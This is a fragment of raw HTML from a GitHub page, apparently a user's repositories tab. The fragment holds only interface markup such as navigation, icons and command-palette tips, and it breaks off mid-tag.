0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-turbo="false" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues">Issues</a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-turbo="false" data-selected-links=" /marketplace" href="/marketplace">Marketplace</a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:explore" data-turbo="false" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{&quot;event_type&quot;:&quot;sponsors.button_click&quot;,&quot;payload&quot;:{&quot;button&quot;:&quot;HEADER_SPONSORS_DASHBOARD&quot;,&quot;sponsorable_login&quot;:&quot;chikitang&quot;,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;,&quot;user_id&quot;:107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&amp;v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;sign out&quot;,&quot;label&quot;:&quot;icon:logout&quot;}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;go to dashboard&quot;,&quot;label&quot;:&quot;icon:logo&quot;}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;create new&quot;,&quot;label&quot;:&quot;icon:add&quot;}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{&quot;category&quot;:&quot;Header&quot;,&quot;action&quot;:&quot;show menu&quot;,&quot;label&quot;:&quot;icon:avatar&quot;}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&amp;v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[&quot;&quot;]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[&quot;&quot;]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[&quot;owner&quot;]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="[&quot;repository&quot;]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char="&gt;" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[&quot;&quot;]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[&quot;owner&quot;]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/&nbsp;&nbsp;<span class="text-semibold color-fg-default">...</span>&nbsp;&nbsp;/&nbsp;&nbsp;</div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal">&nbsp;&nbsp;/&nbsp;&nbsp;</span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">&gt;</kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd 